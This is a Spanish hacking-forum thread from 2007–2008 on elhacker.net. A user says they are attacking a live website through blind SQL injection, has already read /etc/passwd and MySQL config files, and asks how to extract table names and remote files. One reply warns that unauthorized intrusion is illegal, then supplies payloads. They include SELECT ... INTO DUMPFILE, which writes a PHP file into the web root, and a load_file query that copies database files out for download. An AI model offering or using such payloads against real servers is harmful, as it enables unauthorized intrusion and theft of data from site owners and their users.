elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
05 Julio 2008, 04:44  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Hacking Linux/Unix (Moderador: berz3k)
| | | |-+  SQL injection
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: SQL injection  (Leído 1059 veces)
racocvr
*
Desconectado Desconectado

Mensajes: 1


¡Amo YaBB SE!


Ver Perfil
SQL injection
« en: 14 Septiembre 2007, 18:37 »

hola,

llevo unos dias peleandome con un sitio web vulnerable a una blind SQL injection.

con sqlmap he identificado el dbms ( MySQL 4.1.20-log ) y he sacado el nombre de la base de datos y algun archivo. pero se me han acabado las ideas.

no se mucho de unix y tengo las siguientes dudas:

- en el archivo passwd, esta la linea
"mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash"
quiere esto decir q mysql esta instalado en la carpeta /var/lib/mysql ?

en el archivo my.cnf (sacado de /etc) pone:

# You can copy this file to
# /etc/my.cnf to set global options,
# mysql-data-dir/my.cnf to set server-specific options (in this
# installation this directory is /usr/local/mysql/data) or
# ~/.my.cnf to set user-specific options.

pregunto esto para saber donde buscar los *.myd

- hay alguna manera de sacar los nombres de las tablas de la bdd para esta  version de mysql?
he intentado acceder a la tabla mysql.tables_priv (mediante union y tb buscando el archivo tables_priv.myd) pero sin exito.

- el servidor web esta en otro pc, hay alguna manera de leer un archivo q se encuentre en otra maquina con load_file? (tipo "//192.168.0.1/var/www/") o en nfs no hay ese tipo de rutas?

  agradeceria cualquier ayuda puesto q me he kedado atascado y estoy harto de releer papers sobre blind sql injection.

  un saludo.
En línea
yeikos
Colaborador
*****
Desconectado Desconectado

Mensajes: 1.354



Ver Perfil
Re: SQL injection
« Respuesta #1 en: 21 Septiembre 2007, 20:53 »

mmm, supongo que no habrá que decirte que la intrusión no permitida en servidores es ilegal...

Código
 SHOW DATABASES
SHOW TABLES

Código
 SELECT '<?;phpinfo();?>' INTO DUMPFILE '/../usr/var/www/info.php'

Código
 SELECT load_file('/usr/local/mysql/data/bd/table.myd') INTO dumpfile '/../usr/var/www/table.txt'
En línea
pepeluxx
***
Desconectado Desconectado

Mensajes: 126


Todos los días se aprende algo nuevo


Ver Perfil WWW
Re: SQL injection
« Respuesta #2 en: 30 Marzo 2008, 21:55 »

Si no sabes localizar una base de datos teniendo acceso al shell .... miedo me da pensar que podrías hacer si la encuentras ....
En línea

Páginas: [1] Ir Arriba Imprimir 
Ir a:  








Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC